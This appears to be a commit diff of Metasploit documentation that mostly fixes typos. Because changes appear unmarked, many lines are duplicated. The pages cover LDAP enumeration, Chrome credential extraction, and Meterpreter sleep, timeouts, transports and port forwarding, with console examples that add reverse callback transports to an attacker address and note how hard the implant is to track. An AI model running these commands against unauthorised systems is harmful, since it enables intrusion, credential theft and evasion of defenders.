### Killing stale sessions
If `--search` is used in conjunction with `--kill-all`, it will restrict the latter function to only the search results. For example:
@@ -73,7 +73,7 @@ This module has a selection of inbuilt queries which can be configured via the `
-`ENUM_ALL_OBJECT_CATEGORY` - Dump all objects containing any objectCategory field.
-`ENUM_ALL_OBJECT_CLASS` - Dump all objects containing any objectClass field.
-`ENUM_COMPUTERS` - Dump all objects containing an objectCategory or objectClass of Computer.
-`ENUM_CONSTRAINED_DELEGATION` - Dump info about all known objects that allow contrained delegation.
-`ENUM_CONSTRAINED_DELEGATION` - Dump info about all known objects that allow constrained delegation.
-`ENUM_DNS_RECORDS` - Dump info about DNS records the server knows about using the dnsNode object class.
-`ENUM_DNS_ZONES` - Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This isneeded - as without this BASEDN prefix we often miss certain entries.
-`ENUM_DOMAIN` - Dump info about the Active Directory domain.
@@ -89,7 +89,7 @@ This module has a selection of inbuilt queries which can be configured via the `
-`ENUM_MACHINE_ACCOUNT_QUOTA` - Dump the number of computer accounts a user is allowed to create in a domain.
-`ENUM_ORGROLES` - Dump info about all known organization roles in the LDAP environment.
-`ENUM_ORGUNITS` - Dump info about all known organizational units in the LDAP environment.
-`ENUM_UNCONSTRAINED_DELEGATION` - Dump info about all known objects that allow uncontrained delegation.
-`ENUM_UNCONSTRAINED_DELEGATION` - Dump info about all known objects that allow unconstrained delegation.
-`ENUM_USER_ACCOUNT_DISABLED` - Dump info about disabled user accounts.
-`ENUM_USER_ACCOUNT_LOCKED_OUT` - Dump info about locked out user accounts.
-`ENUM_USER_ASREP_ROASTABLE` - Dump info about all users who are configured not to require kerberos pre-authentication and are therefore AS-REP roastable.
There are two ways to launch a Post module, both require an existing session.
Within a msf prompt you can use the `use` comand followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session:
Within a msf prompt you can use the `use` command followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session:
@@ -4,7 +4,7 @@ SMB (Server Message Blocks), is a way for sharing files across nodes on a networ
There are two main ports for SMB:
- 139/TCP - Initially Microsoft implemented SMB ontop of their existing NetBIOS network architecture, which allowed for Windows computers to communicate across the same network
- 139/TCP - Initially Microsoft implemented SMB ontop of their existing NetBIOS network architecture, which allowed for Windows computers to communicate across the same network
- 445/TCP - Newer versions of SMB use this port, were NetBIOS is not used.
Other terminology to be aware of:
@@ -24,7 +24,7 @@ Metasploit has support for multiple SMB modules, including:
There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
@@ -32,7 +32,7 @@ Each value also has an associated type, for example:
All of these examples assume you are in a Meterpreter session. To see the latest help information run `help reg`:
```
```msf
meterpreter > help reg
Usage: reg [command] [options]
Interact with the target machine's registry.
@@ -44,7 +44,7 @@ Interact with the target machine's registry.
Registry keys must be escaped correctly. Window's registry keys are escaped with backslashes. In msfconsole backslashes and spaces have a special meaning - which means you will need to escape these characters for your key to work as expected.
```
```msf
# Valid: Using single quotes around the registry key
If this is problematic either [[upgrade your session to Meterpreter|./Metasploit-Guide-Upgrading-Shells-to-Meterpreter.md]], or specify the `-w` flag which will impact the result of queries:
@@ -2,7 +2,7 @@ Of the many recent changes to Meterpreter, reliable network communication is one
In the case of HTTP/S transports, some resiliency features were present. Thanks to its stateless nature, HTTP/S transports would continue to attempt to talk to Metasploit after network outages or other unexpected problems as each command request/response is transmitted over a fresh connection. TCP based transports had nothing that would attempt to reconnect should some kind of network issue occur.
Revamped [[transport|./Meterpreter-Transport-Control.md]] implementations have provided support for resiliency even for TCP based communcations. Any session that isn't properly terminated by Metasploit will continue to function behind the scenes while Meterpreter attempts to re-establish communications with Metasploit.
Revamped [[transport|./Meterpreter-Transport-Control.md]] implementations have provided support for resiliency even for TCP based communications. Any session that isn't properly terminated by Metasploit will continue to function behind the scenes while Meterpreter attempts to re-establish communications with Metasploit.
It is also possible to control the behaviour of this functionality a little via the use of the various timeout values that can be specified when adding transports to the session, and also on the fly for the current transport. For full details, please see the [[timeout documentation|./Meterpreter-Timeout-Control.md]] for details on those timeout values.
@@ -16,7 +16,7 @@ During this dormant period, no socket is active, no requests are made, and no re
The interface to the sleep command looks like this:
```
```msf
meterpreter > sleep
Usage: sleep <time>
@@ -27,11 +27,11 @@ Usage: sleep <time>
shut down and restarted after the designated timeout.
```
As shown, `sleep` expects to be given a single postive integer value that represents the number of seconds that Meterpreter should be silent for. When run, the session will close, and then callback after the elapsed period of time. Given that Meterpreter lives in memory, this lack of communication will make it extremely difficult to track.
As shown, `sleep` expects to be given a single positive integer value that represents the number of seconds that Meterpreter should be silent for. When run, the session will close, and then callback after the elapsed period of time. Given that Meterpreter lives in memory, this lack of communication will make it extremely difficult to track.
The following shows a sample run where Meterpreter is put to sleep for 20 seconds, after which the session reconnects while the handler is still in background:
```
```msf
meterpreter > sleep 20
[*] Telling the target instance to sleep for 20 seconds ...
[+] Target instance has gone to sleep, terminating current session.
@@ -57,7 +57,7 @@ The data or time cost of uploading `metsrv`, `stdapi` and `priv` for every singl
It's hard to believe it possible, but in this case the following image could be considered a nightmare.
```
```msf
[*] Sending stage (173056 bytes) to xxx.xxx.xxx.xxx
[*] Meterpreter session 4684 opened ....
[*] Sending stage (173056 bytes) to xxx.xxx.xxx.xxx
@@ -95,7 +95,7 @@ With this shellcode stub wired into the DOS header, Metasploit adds the entire b
1. Loads the extension DLL into memory.
1. Calculates the size of the DLL.
1. Writes the size of the DLL as a 32-bit value to the configuration block.
1. Writes the entire body of the DLL, as-is, to the end of the conifiguration block.
1. Writes the entire body of the DLL, as-is, to the end of the configuration block.
Once the end of the list of extensions is reached, the last thing that is written to the payload buffer is a 32-bit representation of `0` (`NULL`) which indicates that the list of extensions has been terminated. This `NULL` value is what `metsrv` will look for when iterating through the list of extensions so that it knows when to stop. After this, any extension initialisation scripts are wired in (though that's beyond the scope of this article).
@@ -150,4 +150,4 @@ Congratulations, you're dancing with stageless Meterpreter!
At this point, all of the pre-loaded extensions have been loaded into Meterpreter and are available for use. However, Metasploit is yet to know about them. To initiate client-site wiring of any of the pre-loaded extensions, the user can just type `use <extension>` just like they used to. Metasploit will check to see if the extension already exists in the target instance, and if it does, it will skip the extension upload and just wire-up the functions on the client side. If the extension is missing, then it will upload it and wire-up the functions on the fly just like it always has done.
If you're working with `meterpreter_reverse_https`, you'll notice that when new shells come in they appear just like an orphaned instance. This is expected behaviour, because a stageless session can't and won't look any different to an old session that hasn't been in touch with Metasploit for a while.
If you're working with `meterpreter_reverse_https`, you'll notice that when new shells come in they appear just like an orphaned instance. This is expected behaviour, because a stageless session can't and won't look any different to an old session that hasn't been in touch with Metasploit for a while.
@@ -28,13 +28,13 @@ In the case of `HTTP/S` payloads it's slightly different because the protocols a
With `TCP` transports, communication "times out" when the time between the last packet and the current socket poll is greater than the communications timeout value. This happens when there are network related issues that prevent data from being transmitted between the two endpoints, but doesn't cause the socket to completely disconnect. With `HTTP/S` transports, the communication "times out" for the same reason, but the evaluation of the condition is slightly different in that failure can occur because there is either no response at all from the remote server, or the response to a `GET` request results in no acknowledgement.
By default, this value is set to `300` seconds (`5` minutes), but can be overidden by the user via the `SessionCommunicationTimeout` setting.
By default, this value is set to `300` seconds (`5` minutes), but can be overridden by the user via the `SessionCommunicationTimeout` setting.
If connectivity fails, or the communication is deemed to have timed out. Then the current transport is destroyed, and the next transport in the list of transports is invoked. From there, Meterpreter will use the Retry Total and Retry Wait values while attempting to re-establish a session with Metasploit.
#### Retry Total and Retry Wait
After a transport initialises inside Meterpreter, Meterpreter uses this transport to attempt to establish a new session with Metasploit. In some cases, Metasploit might not be availalble due to reasons like bad network connectivity, or a lack of configured listeners. If Meterpreter can't connect to Metasploit, it will attempt to retry for a period of time. Once that period of time expires, Meterpreter will deem this transport "dead" and will move to the next one in the transport list.
After a transport initialises inside Meterpreter, Meterpreter uses this transport to attempt to establish a new session with Metasploit. In some cases, Metasploit might not be available due to reasons like bad network connectivity, or a lack of configured listeners. If Meterpreter can't connect to Metasploit, it will attempt to retry for a period of time. Once that period of time expires, Meterpreter will deem this transport "dead" and will move to the next one in the transport list.
The total amount of time that Meterpreter will attempt to connect back to Metasploit on the given transport is indicated by the `retry total` value. That is, `retry total` is the total amount of time that Meterpreter will retry communication on the transport. The default value is `3600` seconds (`1` hour), and can be overridden via the `SessionRetryTotal` setting.
@@ -44,7 +44,7 @@ While the current time is within the `retry total` time, Meterpreter will consta
Meterpreter supports the querying and updating of each of these timeouts via the console. In order to get the current timeout settings, users can invoke the `get_timeouts` command, which returns all four of the current timeout settings (one for the global session, and three for the transport-specific settings). An example of which is shown below:
```
```msf
meterpreter > get_timeouts
Session Expiry : @ 2015-06-09 19:56:05
Comm Timeout : 100000 seconds
@@ -56,7 +56,7 @@ The `Session Expiry` value is rendered as an absolute local time so that the use
In order to update these values, users can invoke the `set_timeouts` command. Invoking it without parameters shows the help:
```
```msf
meterpreter > set_timeouts
Usage: set_timeouts [options]
@@ -69,7 +69,7 @@ OPTIONS:
-h Help menu
-t <opt> Retry total time (seconds)
-w <opt> Retry wait time (seconds)
-x <opt> Expiration timout (seconds)
-x <opt> Expiration timeout (seconds)
```
As the help implies, each of these settings takes a value that indicates the number of seconds. Each of the options of this command are optional, so the user can update only those values that they are interested in updating. When the command is invoked, Meterpreter is updated, and the result shows the updated values once the changes have been made.
@@ -77,7 +77,7 @@ In the case of the `-x` parameter, the value that is to be passed in should repr
The following example updates the session expiration timeout to be `2` minutes from "now", and changes the retry wait time to `3` seconds:
```
```msf
meterpreter > set_timeouts -x 120 -t 3
Session Expiry : @ 2015-06-02 22:45:13
Comm Timeout : 100000 seconds
@@ -86,7 +86,7 @@ Retry Wait Time : 2500 seconds
```
This command can be invoked any number of times while the session is valid, but as soon as the session has expired, Metepreter will shut down and it's game over:
```
```msf
meterpreter >
[*] 10.1.10.35 - Meterpreter session 2 closed. Reason: Died
@@ -26,7 +26,7 @@ Meterpreter has a new base command called `transport`. This is the hub of all tr
The following output shows the current help text for the `transport` command:
```bash
```msf
meterpreter > transport
Usage: transport <list|change|add|next|prev|remove> [options]
@@ -48,7 +48,7 @@ OPTIONS:
-T <opt> Retry total time (seconds) (default: same as current session)
-U <opt> Proxy username for HTTP/S transports (optional)
-W <opt> Retry wait time (seconds) (default: same as current session)
-X <opt> Expiration timout (seconds) (default: same as current session)
-X <opt> Expiration timeout (seconds) (default: same as current session)
-c <opt> SSL certificate path for https transport verification (optional)
-h Help menu
-i <opt> Specify transport by index (currently supported: remove)
@@ -65,7 +65,7 @@ OPTIONS:
The simplest of all the sub-commands in the `transport` set is `list`. This command shows the full list of currently enabled transport, and an indicator of which one is the "current" transport. The following shows the non-verbose output with just the default transport running:
```bash
```msf
meterpreter > transport list
Session Expiry : @ 2015-06-09 19:56:05
@@ -82,7 +82,7 @@ The above output shows that we have one transport enabled that is using `TCP`. W
The verbose version of this command shows more detail about the transport, but only in cases where extra detail is available (such as `reverse_http/s`). The following command shows the output of the `list` sub-command with the verbose flag (`-v`) after an `HTTP` transport has been added:
```bash
```msf
meterpreter > transport list -v
Session Expiry : @ 2015-06-09 19:56:05
@@ -98,7 +98,7 @@ Adding transports gives Meterpreter the ability to work on different transport m
The following command shows a simple example that adds a `reverse_http` transport to an existing Meterpreter session. It specifies a custom communications timeout, retry total and retry wait, and also specifies a custom user-agent string to be used for the HTTP requests:
```bash
```msf
meterpreter > transport add -t reverse_http -l 10.1.10.40 -p 5105 -T 50000 -W 2500 -C 100000 -A "Totes-Legit Browser/1.1"
[*] Adding new transport ...
[+] Successfully added reverse_http transport.
@@ -127,7 +127,7 @@ It is also possible to specify the following:
The following shows another example which adds another `reverse_tcp` transport to the transport list:
```bash
```msf
meterpreter > transport add -t reverse_tcp -l 10.1.10.40 -p 5005
[*] Adding new transport ...
[+] Successfully added reverse_tcp transport.
@@ -155,7 +155,7 @@ The three different ways to change transports are:
As an example, here is the current transport setup:
From here, moving backward sends Meterpreter back to the `reverse_http` listener:
```bash
```msf
meterpreter > transport prev
[*] Changing to previous transport ...
@@ -252,7 +252,7 @@ The command is similar to `add` in that it takes a subset of the parameters, and
* `-p` - The `LPORT` value.
* `-u` - This value is only required for `reverse_http/s` transports and needs to contain the URI of the transport in question. This is important because there might be multiple listeners on the same IP and port, so the URI is what differentiates each of the sessions.
```bash
```msf
[*] Starting interaction with 2...
meterpreter > transport list
@@ -282,7 +282,7 @@ Previously, Meterpreter only had built-in resiliency in the `HTTP/S` payloads an
The following shows Metasploit being closed and leaving the existing `TCP` session running behind the scenes:
```bash
```msf
meterpreter > transport list
Session Expiry : @ 2015-06-09 19:56:05
@@ -301,7 +301,7 @@ With Metasploit closed, the Meterpreter session has detected that the transport
The following output shows Metasploit being re-launched with the appropriate listeners, and the existing Meterpreter instance establishing a session automatically:
@@ -63,7 +63,7 @@ Related open tickets (slightly broader than Meterpreter):
* PrependTokenSteal / PrependEnvironmentSteal: Basically with proxies and other perimeter defenses being SYSTEM doesn't work well. This would be an addition to a payload that would work to execute as SYSTEM but would then locate a logged in user and steal their environment to call back to the handler. Very useful when pivoting around with PSEXEC
* Binary installed death dates: A way putting a date in a binary where after that date the binary no longer functions would be useful and possibly even perform self-deletion. Time zones would be a tricky matter, but is something handled by many programmers already (probably just not in shellcode)
* Allow Meterpreter sesssions to resolve L3 addresses (#4793)
* Allow Meterpreter sessions to resolve L3 addresses (#4793)
* Track whether or not the current session has admin credentials (#4633)d
* Support Metasploit-side zlib compression of sessions
* Being able to use Meterpreter instances to easily forward commands & exfil
@@ -33,7 +33,7 @@ If you downloaded Metasploit from us, there is no cause for alarm. We pride our
### Windows silent installation
The PowerShell below will download and install the framework, and is suitable for automated Windows deployments. Note that, the installer will be downloaded to `$DownloadLocation` and won't be deleted after the script has run.
InstantClient 10 is recommneded to allow you to talk with 8,9,10,&11 server versions.
InstantClient 10 is recommended to allow you to talk with 8,9,10,&11 server versions.
Go to <https://www.oracle.com/database/technologies/instant-client/downloads.html> and select the link corresponding to your UNIX PC's architecture. Example for Linux x64, use the Instant Client for Linux x86-64 link, which should take you to <https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html>
All right so that's one way, but what if we wanted to do this manually? First off to flush all routes from the routing table, we will do `route flush` followed by `route` to double check we have successfully removed the entires.
All right so that's one way, but what if we wanted to do this manually? First off to flush all routes from the routing table, we will do `route flush` followed by `route` to double check we have successfully removed the entries.
```msf
msf6 post(multi/manage/autoroute) > route flush
@@ -290,7 +290,7 @@ Active sessions
#### Local Port Forwarding
To set up a port forward using Metasploit, use the `portfwd` command within a supported session's console such as the Meterpreter console. Using `portfwd -h` will bring up a help menu similar to the following:
To add a port forward, use `portfwd add` and specify the `-l`, `-p` and `-r` options at a minimum to specify the local port to listen on, the report port to connect to, and the target host to connect to respectively.
[*] Local TCP relay created: :1090 <-> 169.254.37.128:443
meterpreter >
@@ -338,7 +338,7 @@ Note that you may need to edit your `/etc/hosts` file to map IP addresses to giv
#### Listing Port Forwards and Removing Entries
Can list port forwards using the `portfwd list` command. To delete all port forwards use `portfwd flush`. Alternatively to selectively delete local port forwarding entries, use `portfwd delete -l <local port>`.
```
```msf
meterpreter > portfwd delete -l 1090
[*] Successfully stopped TCP relay on 0.0.0.0:1090
meterpreter > portfwd list
@@ -355,7 +355,7 @@ To set up a reverse port forward, use `portfwd add -R` within a supported sessio
For example to listen on port 9093 on a target session and have it forward all traffic to the Metasploit machine at 172.20.97.72 on port 9093 we could execute `portfwd add -R -l 4444 -L 172.20.97.73 -p 9093` as shown below, which would then cause the machine who have a session on to start listening on port 9093 for incoming connections.
@@ -11,12 +11,12 @@ Unfortunately, at this point in time the extension only works inside x86 and x64
# Usage
As with any other extension that comes with Meterpreter, loading it is very simple:
```
```msf
meterpreter > use python
Loading extension python...success.
```
Once loaded, the help system shows the commands that come with the extension:
```
```msf
meterpreter > help
... snip ...
@@ -36,7 +36,7 @@ Each of these commands is discussed in detail below.
## python_execute
The `python_execute` command is the simplest of all commands that come with the extension, and provides the means to run single-shot lines of Python code, much in the same way that the normal Python interpreter functions from the command-line when using the `-c` switch. The full help for the command is as follows:
```
```msf
meterpreter > python_execute -h
Usage: python_execute <python code> [-r result var name]
@@ -50,13 +50,13 @@ OPTIONS:
-r <opt> Name of the variable containing the result (optional)
```
A very simple example of this command is shown below:
```
```msf
meterpreter > python_execute "print 'Hi, from Meterpreter!'"
[+] Content written to stdout:
Hi, from Meterpreter!
```
Notice that any output that is written to stdout is captured by Meterpreter and returned to Metasploit so that it's visible to the user. This also happens for anything written to stderr, as shown below:
```
```msf
meterpreter > python_execute "x = x + 1"
[-] Content written to stderr:
Traceback (most recent call last):
@@ -66,25 +66,25 @@ NameError: name 'x' is not defined
This handy feature now only allows users to see the output of their scripts, but it also means that any errors are completely visible too.
A more interesting example can be seen below:
```
```msf
meterpreter > python_execute "x = [y for y in range(0, 20) if y % 5 == 0]"
[+] Command executed without returning a result
```
The command above executes, but nothing was printed to stdout, or to stderr, and hence nothing was captured.
The good thing is that the Python extension is persistant across calls. This means that after the above command is executed, `x` is still present in the interpreter and can be accessed with another call:
```
The good thing is that the Python extension is persistent across calls. This means that after the above command is executed, `x` is still present in the interpreter and can be accessed with another call:
```msf
meterpreter > python_execute "print x"
[+] Content written to stdout:
[0, 5, 10, 15]
```
As useful as this is, developers may want to produce post-modules that make use of the data that a Python script has generated. Parsing stdout is not ideal in such a scenario, and hence this command provides the means for individual variables to be extracted directly using the `-r` paramter, as described by the help:
```
As useful as this is, developers may want to produce post-modules that make use of the data that a Python script has generated. Parsing stdout is not ideal in such a scenario, and hence this command provides the means for individual variables to be extracted directly using the `-r` parameter, as described by the help:
```msf
meterpreter > python_execute "x = [y for y in range(0, 20) if y % 5 == 0]" -r x
[+] x = [0, 5, 10, 15]
```
Note that this command requires the first parameter to be a string that contains code that needs to be executed. However, this string can be blank, resulting in no code being executed. This means that extraction of content generated in previous calls is still possible without executing more code, or rerunning previous code snippets just to make use of the `-r` parameter:
```
```msf
meterpreter > python_execute "" -r x
[+] x = [0, 5, 10, 15]
```
@@ -95,7 +95,7 @@ Sometimes, single-line execution isn't enough, or is cumbersome. The `python_imp
## python_import
This command allows for whole modules to be loaded from the attacker's machine an uploaded to the target interpreter. The full help is shown below:
```
```msf
meterpreter > python_import -h
Usage: python_import <-f file path> [-n mod name] [-r result var name]
@@ -114,8 +114,8 @@ OPTIONS:
Importing of module trees is still considered a _beta_ feature, but we encourage you to use it where possible and keep us informed of any issues you may face.
Consider the following script:
```
$ cat /tmp/drives.py
```python
# $ cat /tmp/drives.py
import string
from ctypes import windll
@@ -133,7 +133,7 @@ result = get_drives()
print result
```
The aim of this is to determine all the local logical drives and put the letters into a list. From there it prints that list to screen. The result of running the script is as follows:
```
```msf
meterpreter > python_import -f /tmp/drives.py
[*] Importing /tmp/drives.py ...
[+] Content written to stdout:
@@ -146,7 +146,7 @@ This command is also intended to allow for recursive loading of modules from the
## python_reset
It may get to a point where the content of the interpreter needs to be flushed. The `python_reset` command clears out all imports, libraries and global variables:
```
```msf
meterpreter > python_execute "x = 100"
[+] Command executed without returning a result
meterpreter > python_execute "print x"
@@ -244,7 +244,7 @@ It is not possible to delete transports using the python extension as this opens
@@ -8,18 +8,18 @@ Clone a new metasploit-framework.git repository:
Go there and check out every remote branch we've got. That way, if you screw up and delete something important, you can add it back in later from this backup clone.
````
```
todb@presto:~/github/todb-r7$ cd msf-backup.git
`todb@presto:~/github/todb-r7/metasploit-framework$ for b in `git branch -r | grep -v "HEAD -> origin" | sed 's/^ origin\///'`; do git checkout -b $b --track origin/$b; done
````
```
Tarball it out of the way.
````
```
todb@presto:~/github/todb-r7$ cd ..
todb@presto:~/github$ tar zxvf msf-backup.git.tar.gz
todb@presto:~/github$ rm -rf msf-backup.git
````
```
# Make a new clone
@@ -35,10 +35,10 @@ First, wipe out anything that responds to prune. Usually that's not a lot.
Next, take a look at what's already merged and what's not. We can drop most of the merged stuff right away.
````
```
mazikeen:./msf-prune$ git branch -r --merged
mazikeen:./msf-prune$ git branch -r --no-merged
````
```
That gives a pretty good idea of how many branches we're talking about.
@@ -46,21 +46,21 @@ That gives a pretty good idea of how many branches we're talking about.
Here's a one-liner, lightly modified from http://stackoverflow.com/questions/2514172/listing-each-branch-and-its-last-revisions-date-in-git#2514279 which lists all remote **merged** branches in date order.
````
```
mazikeen:./msf-prune$ for k in `git branch -r --merged |grep -v "HEAD ->" | sed s/^..//`; do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k --`\\t"$k";done | sort
````
```
Count off how many you want to keep at the end, do the arithmetic, and tack on another couple pipes to catch everything that's more than two weeks old. These are the merged branches that nobody's likely to miss.
`````
```
mazikeen:./msf-prune$ for k in `git branch -r --merged |grep -v "HEAD ->" | sed s/^..//`; do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k --`\\t"$k";done | sort | head -45 | sed "s/^.*origin\///" > /tmp/merged_to_delete.txt
````
```
Pull the trigger:
````
```
mazikeen:./msf-prune$ for b in `cat /tmp/merged_to_delete.txt`; do echo Deleting $b && git push origin :$b; done
````
```
Note that we still have our tarball, so if we need to reinstate any of these branches, just need to re-push.
@@ -31,14 +31,14 @@ You can inspect exactly what commits are contained in this merge with the follow
Like so:
````
```
$ git log bad-merge...bad-merge~ --oneline
3996557 Fix conflcit lib/msf/util/exe.rb
6296c4f Merge pull request #9 from tabassassin/retab/pr/2320
d0a3ea6 Retab changes for PR #2320
bff7d0e Merge for retab
4c9e6a8 Default to exe-small
````
```
The syntax is a little wacky, but this is saying, "Show me all the commit hashes that occur from the `bad-merge` point to one back from `bad-merge` (in other words, from right before `bad-merge` was merged). That's what the tilde (~) means. You could also use `bad-merge^` or `bad-merge^1`, they're all equivalent.
@@ -4,9 +4,9 @@ If you're in the business of writing or collecting Metasploit modules that aren'
You must first set up a directory structure that fits with Metasploit's expectations of path names. What this typically means is that you should first create an "exploits" directory structure, like so:
````bash
```bash
mkdir -p $HOME/.msf4/modules/exploits
````
```
If you are using `auxiliary` or `post` modules, or are writing `payloads` you'll want to `mkdir` those as well.
@@ -14,9 +14,9 @@ If you are using `auxiliary` or `post` modules, or are writing `payloads` you'll
Modules are sorted by (somewhat arbitrary) categories. These can be anything you like; I usually use `test` or `private`, but if you are developing a module with an eye toward providing it to the main Metasploit distribution, you will want to mirror the real module path. For example:
... if you are developing a file format exploit for Windows.
@@ -36,7 +36,7 @@ For full details:
If you already have msfconsole running, use a `reload_all` command to pick up your new modules. If not, just start msfconsole and they'll be picked up automatically. If you'd like to test with something generic, I have a module posted up as a gist, here: <https://gist.github.com/todb-r7/5935519>, so let's give it a shot:
@@ -4,7 +4,7 @@ Recent changes to HTTP and HTTPS communications in both Meterpreter and its stag
The Windows API comes with two ways to talk via HTTP/S, they are [WinInet][] and [WinHTTP][]. The APIs are consumed in a similar fashion; many of the functions in each have the same interface, or are at least close enough to make a transition between the two rather trivial. However, there are some underlying differences that are important.
The [WinInet][] API was designed for use in desktop applications. It provides all the features required by applications to use HTTP/S while delegating much of the responsibilty of handling implementation detail to the underlying API and OS. This API can result in some user interface elements appearing if not handled correctly.
The [WinInet][] API was designed for use in desktop applications. It provides all the features required by applications to use HTTP/S while delegating much of the responsibility of handling implementation detail to the underlying API and OS. This API can result in some user interface elements appearing if not handled correctly.
[WinInet][] comes with some limitations, one of which is that it's close to impossible to do any kind of custom validation, parsing, or handling of SSL communications. One of the needs of Metasploit users is to be able to enable a [[Paranoid Mode|./meterpreter-paranoid-mode.md]] that forces Meterpreter to only talk with the appropriate endpoint. The goal is to prevent shells from being hijacked by unauthorised users. In order to do this, one of the things that was implemented was the verification of the SHA1 hash of the SSL certificate that Meterpreter reads from the server. If this hash doesn't match the one that Meterpreter is configured with, Meterpreter will shut down. [WinInet][] doesn't make this process possible without a _lot_ of custom work.
@@ -22,7 +22,7 @@ As indicated in a [blog post on MSDN][msdn_winhttp]:
What this means is that from Windows 7 and onwards, the underlying [WinHTTP][] implementation requires proper HTTP/1.1 support from any proxies that are used. If a proxy uses HTTP/1.0, such as Squid 2.7, and requires `Keep-Alive` support, such as NTLM authentication, then [WinHTTP][] will refuse to talk to it. Instead of downgrading, it will expect a purely RFC-compliant implementation, and instead will return a `407` error the client. This means that for Meterpreter to work, [WinHTTP][] can't be used.
In order to avoid this issue, [extra work][wininet_fallback] has beeen done to force Meterpreter to fall back to [WinInet][] when this happens. Given that [WinInet][] doesn't do certificate hash verification, this means that the user of Meterpreter loses the ability to use paranoid mode. It was decided that Meterpreter would not fallback to [WinInet][] if paranoid mode was enabled, as the intention of the user is clearly to avoid MITM.
In order to avoid this issue, [extra work][wininet_fallback] has been done to force Meterpreter to fall back to [WinInet][] when this happens. Given that [WinInet][] doesn't do certificate hash verification, this means that the user of Meterpreter loses the ability to use paranoid mode. It was decided that Meterpreter would not fallback to [WinInet][] if paranoid mode was enabled, as the intention of the user is clearly to avoid MITM.
To sum up, Meterpreter will use [WinHTTP][] where it can. If it can't, it'll fall back to [WinInet][] _unless_ paranoid mode is enabled.
Some files were not shown because too many files have changed in this diff
Show More
Reference in New Issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.